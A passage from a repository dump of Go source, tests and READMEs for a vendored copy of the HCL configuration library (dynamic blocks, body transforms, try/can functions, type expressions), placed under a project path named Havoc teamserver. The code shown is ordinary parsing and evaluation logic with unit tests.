Filter out iterator names inherited from parent blocks for _, traversal := range attr.Expr.Variables() { if _, inherited := blockIt.Inherited[traversal.RootName()]; !inherited { vars = append(vars, traversal) } } } if attr, exists := inner.Attributes["labels"]; exists { // Filter out both our own iterator name _and_ those inherited // from parent blocks, since we provide _both_ of these to the // label expressions. for _, traversal := range attr.Expr.Variables() { ours := traversal.RootName() == iteratorName _, inherited := blockIt.Inherited[traversal.RootName()] if !(ours || inherited) { vars = append(vars, traversal) } } } for _, contentBlock := range inner.Blocks { // We only request "content" blocks in our schema, so we know // any blocks we find here will be content blocks. We require // exactly one content block for actual expansion, but we'll // be more liberal here so that callers can still collect // variables from erroneous "dynamic" blocks. children = append(children, WalkVariablesChild{ BlockTypeName: blockTypeName, Node: WalkVariablesNode{ body: contentBlock.Body, it: blockIt, includeContent: n.includeContent, }, }) } default: children = append(children, WalkVariablesChild{ BlockTypeName: block.Type, Node: WalkVariablesNode{ body: block.Body, it: n.it, includeContent: n.includeContent, }, }) } } return vars, children } func (n WalkVariablesNode) extendSchema(schema *hcl.BodySchema) *hcl.BodySchema { // We augment the requested schema to also include our special "dynamic" // block type, since then we'll get instances of it interleaved with // all of the literal child blocks we must also include. extSchema := &hcl.BodySchema{ Attributes: schema.Attributes, Blocks: make([]hcl.BlockHeaderSchema, len(schema.Blocks), len(schema.Blocks)+1), } copy(extSchema.Blocks, schema.Blocks) extSchema.Blocks = append(extSchema.Blocks, dynamicBlockHeaderSchema) return extSchema } // This is a more relaxed schema than what's in schema.go, since we // want to maximize the amount of variables we can find even if there // are erroneous blocks. var variableDetectionInnerSchema = &hcl.BodySchema{ Attributes: []hcl.AttributeSchema{ { Name: "for_each", Required: false, }, { Name: "labels", Required: false, }, { Name: "iterator", Required: false, }, }, Blocks: []hcl.BlockHeaderSchema{ { Type: "content", }, }, } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/dynblock/variables_hcldec.go ================================================ package dynblock import ( "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hcldec" ) // VariablesHCLDec is a wrapper around WalkVariables that uses the given hcldec // specification to automatically drive the recursive walk through nested // blocks in the given body. // // This is a drop-in replacement for hcldec.Variables which is able to treat // blocks of type "dynamic" in the same special way that dynblock.Expand would, // exposing both the variables referenced in the "for_each" and "labels" // arguments and variables used in the nested "content" block. func VariablesHCLDec(body hcl.Body, spec hcldec.Spec) []hcl.Traversal { rootNode := WalkVariables(body) return walkVariablesWithHCLDec(rootNode, spec) } // ExpandVariablesHCLDec is like VariablesHCLDec but it includes only the // minimal set of variables required to call Expand, ignoring variables that // are referenced only inside normal block contents. See WalkExpandVariables // for more information. func ExpandVariablesHCLDec(body hcl.Body, spec hcldec.Spec) []hcl.Traversal { rootNode := WalkExpandVariables(body) return walkVariablesWithHCLDec(rootNode, spec) } func walkVariablesWithHCLDec(node WalkVariablesNode, spec hcldec.Spec) []hcl.Traversal { vars, children := node.Visit(hcldec.ImpliedSchema(spec)) if len(children) > 0 { childSpecs := hcldec.ChildBlockTypes(spec) for _, child := range children { if childSpec, exists := childSpecs[child.BlockTypeName]; exists { vars = append(vars, walkVariablesWithHCLDec(child.Node, childSpec)...) } } } return vars } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/dynblock/variables_test.go ================================================ package dynblock import ( "reflect" "testing" "Havoc/pkg/profile/yaotl/hcldec" "github.com/zclconf/go-cty/cty" "github.com/davecgh/go-spew/spew" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" ) func TestVariables(t *testing.T) { const src = ` # We have some references to things inside the "val" attribute inside each # of our "b" blocks, which should be included in the result of WalkVariables # but not WalkExpandVariables. a { dynamic "b" { for_each = [for i, v in some_list_0: "${i}=${v},${baz}"] labels = ["${b.value} ${something_else_0}"] content { val = "${b.value} ${something_else_1}" } } } dynamic "a" { for_each = some_list_1 content { b "foo" { val = "${a.value} ${something_else_2}" } dynamic "b" { for_each = some_list_2 iterator = dyn_b labels = ["${a.value} ${dyn_b.value} ${b} ${something_else_3}"] content { val = "${a.value} ${dyn_b.value} ${something_else_4}" } } } } dynamic "a" { for_each = some_list_3 iterator = dyn_a content { b "foo" { val = "${dyn_a.value} ${something_else_5}" } dynamic "b" { for_each = some_list_4 labels = ["${dyn_a.value} ${b.value} ${a} ${something_else_6}"] content { val = "${dyn_a.value} ${b.value} ${something_else_7}" } } } } ` f, diags := hclsyntax.ParseConfig([]byte(src), "", hcl.Pos{}) if len(diags) != 0 { t.Errorf("unexpected diagnostics during parse") for _, diag := range diags { t.Logf("- %s", diag) } return } spec := &hcldec.BlockListSpec{ TypeName: "a", Nested: &hcldec.BlockMapSpec{ TypeName: "b", LabelNames: []string{"key"}, Nested: &hcldec.AttrSpec{ Name: "val", Type: cty.String, }, }, } t.Run("WalkVariables", func(t *testing.T) { traversals := VariablesHCLDec(f.Body, spec) got := make([]string, len(traversals)) for i, traversal := range traversals { got[i] = traversal.RootName() } // The block structure is traversed one level at a time, so the ordering // here is reflecting first a pass of the root, then the first child // under the root, then the first child under that, etc. want := []string{ "some_list_1", "some_list_3", "some_list_0", "baz", "something_else_0", "something_else_1", // Would not be included for WalkExpandVariables because it only appears in content "some_list_2", "b", // This is correct because it is referenced in a context where the iterator is overridden to be dyn_b "something_else_3", "something_else_2", // Would not be included for WalkExpandVariables because it only appears in content "something_else_4", // Would not be included for WalkExpandVariables because it only appears in content "some_list_4", "a", // This is correct because it is referenced in a context where the iterator is overridden to be dyn_a "something_else_6", "something_else_5", // Would not be included for WalkExpandVariables because it only appears in content "something_else_7", // Would not be included for WalkExpandVariables because it only appears in content } if !reflect.DeepEqual(got, want) { t.Errorf("wrong result\ngot: %swant: %s", spew.Sdump(got), spew.Sdump(want)) } }) t.Run("WalkExpandVariables", func(t *testing.T) { traversals := ExpandVariablesHCLDec(f.Body, spec) got := make([]string, len(traversals)) for i, traversal := range traversals { got[i] = traversal.RootName() } // The block structure is traversed one level at a time, so the ordering // here is reflecting first a pass of the root, then the first child // under the root, then the first child under that, etc. want := []string{ "some_list_1", "some_list_3", "some_list_0", "baz", "something_else_0", "some_list_2", "b", // This is correct because it is referenced in a context where the iterator is overridden to be dyn_b "something_else_3", "some_list_4", "a", // This is correct because it is referenced in a context where the iterator is overridden to be dyn_a "something_else_6", } if !reflect.DeepEqual(got, want) { t.Errorf("wrong result\ngot: %swant: %s", spew.Sdump(got), spew.Sdump(want)) } }) } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/transform/doc.go ================================================ // Package transform is a helper package for writing extensions that work // by applying transforms to bodies. // // It defines a type for body transformers, and then provides utilities in // terms of that type for working with transformers, including recursively // applying such transforms as hierarchical block structures are extracted. package transform ================================================ FILE: teamserver/pkg/profile/yaotl/ext/transform/error.go ================================================ package transform import ( "Havoc/pkg/profile/yaotl" ) // NewErrorBody returns a hcl.Body that returns the given diagnostics whenever // any of its content-access methods are called. // // The given diagnostics must have at least one diagnostic of severity // hcl.DiagError, or this function will panic. // // This can be used to prepare a return value for a Transformer that // can't complete due to an error. While the transform itself will succeed, // the error will be returned as soon as a caller attempts to extract content // from the resulting body. func NewErrorBody(diags hcl.Diagnostics) hcl.Body { if !diags.HasErrors() { panic("NewErrorBody called without any error diagnostics") } return diagBody{ Diags: diags, } } // BodyWithDiagnostics returns a hcl.Body that wraps another hcl.Body // and emits the given diagnostics for any content-extraction method. // // Unlike the result of NewErrorBody, a body with diagnostics still runs // the extraction actions on the underlying body if (and only if) the given // diagnostics do not contain errors, but prepends the given diagnostics with // any diagnostics produced by the action. // // If the given diagnostics is empty, the given body is returned verbatim. // // This function is intended for conveniently reporting errors and/or warnings // produced during a transform, ensuring that they will be seen when the // caller eventually extracts content from the returned body. func BodyWithDiagnostics(body hcl.Body, diags hcl.Diagnostics) hcl.Body { if len(diags) == 0 { // nothing to do! return body } return diagBody{ Diags: diags, Wrapped: body, } } type diagBody struct { Diags hcl.Diagnostics Wrapped hcl.Body } func (b diagBody) Content(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Diagnostics) { if b.Diags.HasErrors() { return b.emptyContent(), b.Diags } content, wrappedDiags := b.Wrapped.Content(schema) diags := make(hcl.Diagnostics, 0, len(b.Diags)+len(wrappedDiags)) diags = append(diags, b.Diags...) diags = append(diags, wrappedDiags...) return content, diags } func (b diagBody) PartialContent(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Body, hcl.Diagnostics) { if b.Diags.HasErrors() { return b.emptyContent(), b.Wrapped, b.Diags } content, remain, wrappedDiags := b.Wrapped.PartialContent(schema) diags := make(hcl.Diagnostics, 0, len(b.Diags)+len(wrappedDiags)) diags = append(diags, b.Diags...) diags = append(diags, wrappedDiags...) return content, remain, diags } func (b diagBody) JustAttributes() (hcl.Attributes, hcl.Diagnostics) { if b.Diags.HasErrors() { return nil, b.Diags } attributes, wrappedDiags := b.Wrapped.JustAttributes() diags := make(hcl.Diagnostics, 0, len(b.Diags)+len(wrappedDiags)) diags = append(diags, b.Diags...) diags = append(diags, wrappedDiags...) return attributes, diags } func (b diagBody) MissingItemRange() hcl.Range { if b.Wrapped != nil { return b.Wrapped.MissingItemRange() } // Placeholder. This should never be seen in practice because decoding // a diagBody without a wrapped body should always produce an error. return hcl.Range{ Filename: "", } } func (b diagBody) emptyContent() *hcl.BodyContent { return &hcl.BodyContent{ MissingItemRange: b.MissingItemRange(), } } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/transform/transform.go ================================================ package transform import ( "Havoc/pkg/profile/yaotl" ) // Shallow is equivalent to calling transformer.TransformBody(body), and // is provided only for completeness of the top-level API. func Shallow(body hcl.Body, transformer Transformer) hcl.Body { return transformer.TransformBody(body) } // Deep applies the given transform to the given body and then // wraps the result such that any descendent blocks that are decoded will // also have the transform applied to their bodies. // // This allows for language extensions that define a particular block type // for a particular body and all nested blocks within it. // // Due to the wrapping behavior, the body resulting from this function // will not be of the type returned by the transformer. Callers may call // only the methods defined for interface hcl.Body, and may not type-assert // to access other methods. func Deep(body hcl.Body, transformer Transformer) hcl.Body { return deepWrapper{ Transformed: transformer.TransformBody(body), Transformer: transformer, } } // deepWrapper is a hcl.Body implementation that ensures that a given // transformer is applied to another given body when content is extracted, // and that it recursively applies to any child blocks that are extracted. type deepWrapper struct { Transformed hcl.Body Transformer Transformer } func (w deepWrapper) Content(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Diagnostics) { content, diags := w.Transformed.Content(schema) content = w.transformContent(content) return content, diags } func (w deepWrapper) PartialContent(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Body, hcl.Diagnostics) { content, remain, diags := w.Transformed.PartialContent(schema) content = w.transformContent(content) return content, remain, diags } func (w deepWrapper) transformContent(content *hcl.BodyContent) *hcl.BodyContent { if len(content.Blocks) == 0 { // Easy path: if there are no blocks then there are no child bodies to wrap return content } // Since we're going to change things here, we'll be polite and clone the // structure so that we don't risk impacting any internal state of the // original body. ret := &hcl.BodyContent{ Attributes: content.Attributes, MissingItemRange: content.MissingItemRange, Blocks: make(hcl.Blocks, len(content.Blocks)), } for i, givenBlock := range content.Blocks { // Shallow-copy the block so we can mutate it newBlock := *givenBlock newBlock.Body = Deep(newBlock.Body, w.Transformer) ret.Blocks[i] = &newBlock } return ret } func (w deepWrapper) JustAttributes() (hcl.Attributes, hcl.Diagnostics) { // Attributes can't have bodies or nested blocks, so this is just a thin wrapper. return w.Transformed.JustAttributes() } func (w deepWrapper) MissingItemRange() hcl.Range { return w.Transformed.MissingItemRange() } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/transform/transform_test.go ================================================ package transform import ( "testing" "reflect" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hcltest" "github.com/zclconf/go-cty/cty" ) // Assert that deepWrapper implements Body var deepWrapperIsBody hcl.Body = deepWrapper{} func TestDeep(t *testing.T) { testTransform := TransformerFunc(func(body hcl.Body) hcl.Body { _, remain, diags := body.PartialContent(&hcl.BodySchema{ Blocks: []hcl.BlockHeaderSchema{ { Type: "remove", }, }, }) return BodyWithDiagnostics(remain, diags) }) src := hcltest.MockBody(&hcl.BodyContent{ Attributes: hcltest.MockAttrs(map[string]hcl.Expression{ "true": hcltest.MockExprLiteral(cty.True), }), Blocks: []*hcl.Block{ { Type: "remove", Body: hcl.EmptyBody(), }, { Type: "child", Body: hcltest.MockBody(&hcl.BodyContent{ Blocks: []*hcl.Block{ { Type: "remove", }, }, }), }, }, }) wrapped := Deep(src, testTransform) rootContent, diags := wrapped.Content(&hcl.BodySchema{ Attributes: []hcl.AttributeSchema{ { Name: "true", }, }, Blocks: []hcl.BlockHeaderSchema{ { Type: "child", }, }, }) if len(diags) != 0 { t.Errorf("unexpected diagnostics for root content") for _, diag := range diags { t.Logf("- %s", diag) } } wantAttrs := hcltest.MockAttrs(map[string]hcl.Expression{ "true": hcltest.MockExprLiteral(cty.True), }) if !reflect.DeepEqual(rootContent.Attributes, wantAttrs) { t.Errorf("wrong root attributes\ngot: %#v\nwant: %#v", rootContent.Attributes, wantAttrs) } if got, want := len(rootContent.Blocks), 1; got != want { t.Fatalf("wrong number of root blocks %d; want %d", got, want) } if got, want := rootContent.Blocks[0].Type, "child"; got != want { t.Errorf("wrong block type %s; want %s", got, want) } childBlock := rootContent.Blocks[0] childContent, diags := childBlock.Body.Content(&hcl.BodySchema{}) if len(diags) != 0 { t.Errorf("unexpected diagnostics for child content") for _, diag := range diags { t.Logf("- %s", diag) } } if len(childContent.Attributes) != 0 { t.Errorf("unexpected attributes in child content; want empty content") } if len(childContent.Blocks) != 0 { t.Errorf("unexpected blocks in child content; want empty content") } } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/transform/transformer.go ================================================ package transform import ( "Havoc/pkg/profile/yaotl" ) // A Transformer takes a given body, applies some (possibly no-op) // transform to it, and returns the new body. // // It must _not_ mutate the given body in-place. // // The transform call cannot fail, but it _can_ return a body that immediately // returns diagnostics when its methods are called. NewErrorBody is a utility // to help with this. type Transformer interface { TransformBody(hcl.Body) hcl.Body } // TransformerFunc is a function type that implements Transformer. type TransformerFunc func(hcl.Body) hcl.Body // TransformBody is an implementation of Transformer.TransformBody. func (f TransformerFunc) TransformBody(in hcl.Body) hcl.Body { return f(in) } type chain []Transformer // Chain takes a slice of transformers and returns a single new // Transformer that applies each of the given transformers in sequence. func Chain(c []Transformer) Transformer { return chain(c) } func (c chain) TransformBody(body hcl.Body) hcl.Body { for _, t := range c { body = t.TransformBody(body) } return body } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/tryfunc/README.md ================================================ # "Try" and "can" functions This Go package contains two `cty` functions intended for use in an `hcl.EvalContext` when evaluating HCL native syntax expressions. The first function `try` attempts to evaluate each of its argument expressions in order until one produces a result without any errors. ```hcl try(non_existent_variable, 2) # returns 2 ``` If none of the expressions succeed, the function call fails with all of the errors it encountered. The second function `can` is similar except that it ignores the result of the given expression altogether and simply returns `true` if the expression produced a successful result or `false` if it produced errors. Both of these are primarily intended for working with deep data structures which might not have a dependable shape. For example, we can use `try` to attempt to fetch a value from deep inside a data structure but produce a default value if any step of the traversal fails: ```hcl result = try(foo.deep[0].lots.of["traversals"], null) ``` The final result to `try` should generally be some sort of constant value that will always evaluate successfully. ## Using these functions Languages built on HCL can make `try` and `can` available to user code by exporting them in the `hcl.EvalContext` used for expression evaluation: ```go ctx := &hcl.EvalContext{ Functions: map[string]function.Function{ "try": tryfunc.TryFunc, "can": tryfunc.CanFunc, }, } ``` ================================================ FILE: teamserver/pkg/profile/yaotl/ext/tryfunc/tryfunc.go ================================================ // Package tryfunc contains some optional functions that can be exposed in // HCL-based languages to allow authors to test whether a particular expression // can succeed and take dynamic action based on that result. // // These functions are implemented in terms of the customdecode extension from // the sibling directory "customdecode", and so they are only useful when // used within an HCL EvalContext. Other systems using cty functions are // unlikely to support the HCL-specific "customdecode" extension. package tryfunc import ( "errors" "fmt" "strings" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/ext/customdecode" "github.com/zclconf/go-cty/cty" "github.com/zclconf/go-cty/cty/function" ) // TryFunc is a variadic function that tries to evaluate all of is arguments // in sequence until one succeeds, in which case it returns that result, or // returns an error if none of them succeed. var TryFunc function.Function // CanFunc tries to evaluate the expression given in its first argument. var CanFunc function.Function func init() { TryFunc = function.New(&function.Spec{ VarParam: &function.Parameter{ Name: "expressions", Type: customdecode.ExpressionClosureType, }, Type: func(args []cty.Value) (cty.Type, error) { v, err := try(args) if err != nil { return cty.NilType, err } return v.Type(), nil }, Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { return try(args) }, }) CanFunc = function.New(&function.Spec{ Params: []function.Parameter{ { Name: "expression", Type: customdecode.ExpressionClosureType, }, }, Type: function.StaticReturnType(cty.Bool), Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { return can(args[0]) }, }) } func try(args []cty.Value) (cty.Value, error) { if len(args) == 0 { return cty.NilVal, errors.New("at least one argument is required") } // We'll collect up all of the diagnostics we encounter along the way // and report them all if none of the expressions succeed, so that the // user might get some hints on how to make at least one succeed. var diags hcl.Diagnostics for _, arg := range args { closure := customdecode.ExpressionClosureFromVal(arg) if dependsOnUnknowns(closure.Expression, closure.EvalContext) { // We can't safely decide if this expression will succeed yet, // and so our entire result must be unknown until we have // more information. return cty.DynamicVal, nil } v, moreDiags := closure.Value() diags = append(diags, moreDiags...) if moreDiags.HasErrors() { continue // try the next one, if there is one to try } return v, nil // ignore any accumulated diagnostics if one succeeds } // If we fall out here then none of the expressions succeeded, and so // we must have at least one diagnostic and we'll return all of them // so that the user can see the errors related to whichever one they // were expecting to have succeeded in this case. // // Because our function must return a single error value rather than // diagnostics, we'll construct a suitable error message string // that will make sense in the context of the function call failure // diagnostic HCL will eventually wrap this in. var buf strings.Builder buf.WriteString("no expression succeeded:\n") for _, diag := range diags { if diag.Subject != nil { buf.WriteString(fmt.Sprintf("- %s (at %s)\n %s\n", diag.Summary, diag.Subject, diag.Detail)) } else { buf.WriteString(fmt.Sprintf("- %s\n %s\n", diag.Summary, diag.Detail)) } } buf.WriteString("\nAt least one expression must produce a successful result") return cty.NilVal, errors.New(buf.String()) } func can(arg cty.Value) (cty.Value, error) { closure := customdecode.ExpressionClosureFromVal(arg) if dependsOnUnknowns(closure.Expression, closure.EvalContext) { // Can't decide yet, then. return cty.UnknownVal(cty.Bool), nil } _, diags := closure.Value() if diags.HasErrors() { return cty.False, nil } return cty.True, nil } // dependsOnUnknowns returns true if any of the variables that the given // expression might access are unknown values or contain unknown values. // // This is a conservative result that prefers to return true if there's any // chance that the expression might derive from an unknown value during its // evaluation; it is likely to produce false-positives for more complex // expressions involving deep data structures. func dependsOnUnknowns(expr hcl.Expression, ctx *hcl.EvalContext) bool { for _, traversal := range expr.Variables() { val, diags := traversal.TraverseAbs(ctx) if diags.HasErrors() { // If the traversal returned a definitive error then it must // not traverse through any unknowns. continue } if !val.IsWhollyKnown() { // The value will be unknown if either it refers directly to // an unknown value or if the traversal moves through an unknown // collection. We're using IsWhollyKnown, so this also catches // situations where the traversal refers to a compound data // structure that contains any unknown values. That's important, // because during evaluation the expression might evaluate more // deeply into this structure and encounter the unknowns. return true } } return false } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/tryfunc/tryfunc_test.go ================================================ package tryfunc import ( "testing" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" "github.com/zclconf/go-cty/cty" "github.com/zclconf/go-cty/cty/function" ) func TestTryFunc(t *testing.T) { tests := map[string]struct { expr string vars map[string]cty.Value want cty.Value wantErr string }{ "one argument succeeds": { `try(1)`, nil, cty.NumberIntVal(1), ``, }, "one marked argument succeeds": { `try(sensitive)`, map[string]cty.Value{ "sensitive": cty.StringVal("secret").Mark("porpoise"), }, cty.StringVal("secret").Mark("porpoise"), ``, }, "two arguments, first succeeds": { `try(1, 2)`, nil, cty.NumberIntVal(1), ``, }, "two arguments, first fails": { `try(nope, 2)`, nil, cty.NumberIntVal(2), ``, }, "two arguments, first depends on unknowns": { `try(unknown, 2)`, map[string]cty.Value{ "unknown": cty.UnknownVal(cty.Number), }, cty.DynamicVal, // can't proceed until first argument is known ``, }, "two arguments, first succeeds and second depends on unknowns": { `try(1, unknown)`, map[string]cty.Value{ "unknown": cty.UnknownVal(cty.Number), }, cty.NumberIntVal(1), // we know 1st succeeds, so it doesn't matter that 2nd is unknown ``, }, "two arguments, first depends on unknowns deeply": { `try(has_unknowns, 2)`, map[string]cty.Value{ "has_unknowns": cty.ListVal([]cty.Value{cty.UnknownVal(cty.Bool)}), }, cty.DynamicVal, // can't proceed until first argument is wholly known ``, }, "two arguments, first traverses through an unkown": { `try(unknown.baz, 2)`, map[string]cty.Value{ "unknown": cty.UnknownVal(cty.Map(cty.String)), }, cty.DynamicVal, // can't proceed until first argument is wholly known ``, }, "two arguments, both marked, first succeeds": { `try(sensitive, other)`, map[string]cty.Value{ "sensitive": cty.StringVal("secret").Mark("porpoise"), "other": cty.StringVal("that").Mark("a"), }, cty.StringVal("secret").Mark("porpoise"), ``, }, "two arguments, both marked, second succeeds": { `try(sensitive, other)`, map[string]cty.Value{ "other": cty.StringVal("that").Mark("a"), }, cty.StringVal("that").Mark("a"), ``, }, "two arguments, result is element of marked list ": { `try(sensitive[0], other)`, map[string]cty.Value{ "sensitive": cty.ListVal([]cty.Value{ cty.StringVal("list"), cty.StringVal("of "), cty.StringVal("secrets"), }).Mark("secret"), "other": cty.StringVal("not"), }, cty.StringVal("list").Mark("secret"), ``, }, "three arguments, all fail": { `try(this, that, this_thing_in_particular)`, nil, cty.NumberIntVal(2), // The grammar of this stringification of the message is unfortunate, // but caller can type-assert our result to get the original // diagnostics directly in order to produce a better result. `test.hcl:1,1-5: Error in function call; Call to function "try" failed: no expression succeeded: - Variables not allowed (at test.hcl:1,5-9) Variables may not be used here. - Variables not allowed (at test.hcl:1,11-15) Variables may not be used here. - Variables not allowed (at test.hcl:1,17-41) Variables may not be used here. At least one expression must produce a successful result.`, }, "no arguments": { `try()`, nil, cty.NilVal, `test.hcl:1,1-5: Error in function call; Call to function "try" failed: at least one argument is required.`, }, } for k, test := range tests { t.Run(k, func(t *testing.T) { expr, diags := hclsyntax.ParseExpression([]byte(test.expr), "test.hcl", hcl.Pos{Line: 1, Column: 1}) if diags.HasErrors() { t.Fatalf("unexpected problems: %s", diags.Error()) } ctx := &hcl.EvalContext{ Variables: test.vars, Functions: map[string]function.Function{ "try": TryFunc, }, } got, err := expr.Value(ctx) if err != nil { if test.wantErr != "" { if got, want := err.Error(), test.wantErr; got != want { t.Errorf("wrong error\ngot: %s\nwant: %s", got, want) } } else { t.Errorf("unexpected error\ngot: %s\nwant: ", err) } return } if test.wantErr != "" { t.Errorf("wrong error\ngot: \nwant: %s", test.wantErr) } if !test.want.RawEquals(got) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, test.want) } }) } } func TestCanFunc(t *testing.T) { tests := map[string]struct { expr string vars map[string]cty.Value want cty.Value }{ "succeeds": { `can(1)`, nil, cty.True, }, "fails": { `can(nope)`, nil, cty.False, }, "simple unknown": { `can(unknown)`, map[string]cty.Value{ "unknown": cty.UnknownVal(cty.Number), }, cty.UnknownVal(cty.Bool), }, "traversal through unknown": { `can(unknown.foo)`, map[string]cty.Value{ "unknown": cty.UnknownVal(cty.Map(cty.Number)), }, cty.UnknownVal(cty.Bool), }, "deep unknown": { `can(has_unknown)`, map[string]cty.Value{ "has_unknown": cty.ListVal([]cty.Value{cty.UnknownVal(cty.Bool)}), }, cty.UnknownVal(cty.Bool), }, } for k, test := range tests { t.Run(k, func(t *testing.T) { expr, diags := hclsyntax.ParseExpression([]byte(test.expr), "test.hcl", hcl.Pos{Line: 1, Column: 1}) if diags.HasErrors() { t.Fatalf("unexpected problems: %s", diags.Error()) } ctx := &hcl.EvalContext{ Variables: test.vars, Functions: map[string]function.Function{ "can": CanFunc, }, } got, err := expr.Value(ctx) if err != nil { t.Errorf("unexpected error\ngot: %s\nwant: ", err) } if !test.want.RawEquals(got) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, test.want) } }) } } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/typeexpr/README.md ================================================ # HCL Type Expressions Extension This HCL extension defines a convention for describing HCL types using function call and variable reference syntax, allowing configuration formats to include type information provided by users. The type syntax is processed statically from a hcl.Expression, so it cannot use any of the usual language operators. This is similar to type expressions in statically-typed programming languages. ```hcl variable "example" { type = list(string) } ``` The extension is built using the `hcl.ExprAsKeyword` and `hcl.ExprCall` functions, and so it relies on the underlying syntax to define how "keyword" and "call" are interpreted. The above shows how they are interpreted in the HCL native syntax, while the following shows the same information expressed in JSON: ```json { "variable": { "example": { "type": "list(string)" } } } ``` Notice that since we have additional contextual information that we intend to allow only calls and keywords the JSON syntax is able to parse the given string directly as an expression, rather than as a template as would be the case for normal expression evaluation. For more information, see [the godoc reference](http://godoc.org/Havoc/pkg/profile/yaotl/ext/typeexpr). ## Type Expression Syntax When expressed in the native syntax, the following expressions are permitted in a type expression: * `string` - string * `bool` - boolean * `number` - number * `any` - `cty.DynamicPseudoType` (in function `TypeConstraint` only) * `list()` - list of the type given as an argument * `set()` - set of the type given as an argument * `map()` - map of the type given as an argument * `tuple([])` - tuple with the element types given in the single list argument * `object({=, ...}` - object with the attributes and corresponding types given in the single map argument For example: * `list(string)` * `object({name=string,age=number})` * `map(object({name=string,age=number}))` Note that the object constructor syntax is not fully-general for all possible object types because it requires the attribute names to be valid identifiers. In practice it is expected that any time an object type is being fixed for type checking it will be one that has identifiers as its attributes; object types with weird attributes generally show up only from arbitrary object constructors in configuration files, which are usually treated either as maps or as the dynamic pseudo-type. ## Type Constraints as Values Along with defining a convention for writing down types using HCL expression constructs, this package also includes a mechanism for representing types as values that can be used as data within an HCL-based language. `typeexpr.TypeConstraintType` is a [`cty` capsule type](https://github.com/zclconf/go-cty/blob/master/docs/types.md#capsule-types) that encapsulates `cty.Type` values. You can construct such a value directly using the `TypeConstraintVal` function: ```go tyVal := typeexpr.TypeConstraintVal(cty.String) // We can unpack the type from a value using TypeConstraintFromVal ty := typeExpr.TypeConstraintFromVal(tyVal) ``` However, the primary purpose of `typeexpr.TypeConstraintType` is to be specified as the type constraint for an argument, in which case it serves as a signal for HCL to treat the argument expression as a type constraint expression as defined above, rather than as a normal value expression. "An argument" in the above in practice means the following two locations: * As the type constraint for a parameter of a cty function that will be used in an `hcl.EvalContext`. In that case, function calls in the HCL native expression syntax will require the argument to be valid type constraint expression syntax and the function implementation will receive a `TypeConstraintType` value as the argument value for that parameter. * As the type constraint for a `hcldec.AttrSpec` or `hcldec.BlockAttrsSpec` when decoding an HCL body using `hcldec`. In that case, the attributes with that type constraint will be required to be valid type constraint expression syntax and the result will be a `TypeConstraintType` value. Note that the special handling of these arguments means that an argument marked in this way must use the type constraint syntax directly. It is not valid to pass in a value of `TypeConstraintType` that has been obtained dynamically via some other expression result. `TypeConstraintType` is provided with the intent of using it internally within application code when incorporating type constraint expression syntax into an HCL-based language, not to be used for dynamic "programming with types". A calling application could support programming with types by defining its _own_ capsule type, but that is not the purpose of `TypeConstraintType`. ## The "convert" `cty` Function Building on the `TypeConstraintType` described in the previous section, this package also provides `typeexpr.ConvertFunc` which is a cty function that can be placed into a `cty.EvalContext` (conventionally named "convert") in order to provide a general type conversion function in an HCL-based language: ```hcl foo = convert("true", bool) ``` The second parameter uses the mechanism described in the previous section to require its argument to be a type constraint expression rather than a value expression. In doing so, it allows converting with any type constraint that can be expressed in this package's type constraint syntax. In the above example, the `foo` argument would receive a boolean true, or `cty.True` in `cty` terms. The target type constraint must always be provided statically using inline type constraint syntax. There is no way to _dynamically_ select a type constraint using this function. ================================================ FILE: teamserver/pkg/profile/yaotl/ext/typeexpr/doc.go ================================================ // Package typeexpr extends HCL with a convention for describing HCL types // within configuration files. // // The type syntax is processed statically from a hcl.Expression, so it cannot // use any of the usual language operators. This is similar to type expressions // in statically-typed programming languages. // // variable "example" { // type = list(string) // } package typeexpr ================================================ FILE: teamserver/pkg/profile/yaotl/ext/typeexpr/get_type.go ================================================ package typeexpr import ( "fmt" "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) const invalidTypeSummary = "Invalid type specification" // getType is the internal implementation of both Type and TypeConstraint, // using the passed flag to distinguish. When constraint is false, the "any" // keyword will produce an error. func getType(expr hcl.Expression, constraint bool) (cty.Type, hcl.Diagnostics) { // First we'll try for one of our keywords kw := hcl.ExprAsKeyword(expr) switch kw { case "bool": return cty.Bool, nil case "string": return cty.String, nil case "number": return cty.Number, nil case "any": if constraint { return cty.DynamicPseudoType, nil } return cty.DynamicPseudoType, hcl.Diagnostics{{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: fmt.Sprintf("The keyword %q cannot be used in this type specification: an exact type is required.", kw), Subject: expr.Range().Ptr(), }} case "list", "map", "set": return cty.DynamicPseudoType, hcl.Diagnostics{{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: fmt.Sprintf("The %s type constructor requires one argument specifying the element type.", kw), Subject: expr.Range().Ptr(), }} case "object": return cty.DynamicPseudoType, hcl.Diagnostics{{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: "The object type constructor requires one argument specifying the attribute types and values as a map.", Subject: expr.Range().Ptr(), }} case "tuple": return cty.DynamicPseudoType, hcl.Diagnostics{{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: "The tuple type constructor requires one argument specifying the element types as a list.", Subject: expr.Range().Ptr(), }} case "": // okay! we'll fall through and try processing as a call, then. default: return cty.DynamicPseudoType, hcl.Diagnostics{{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: 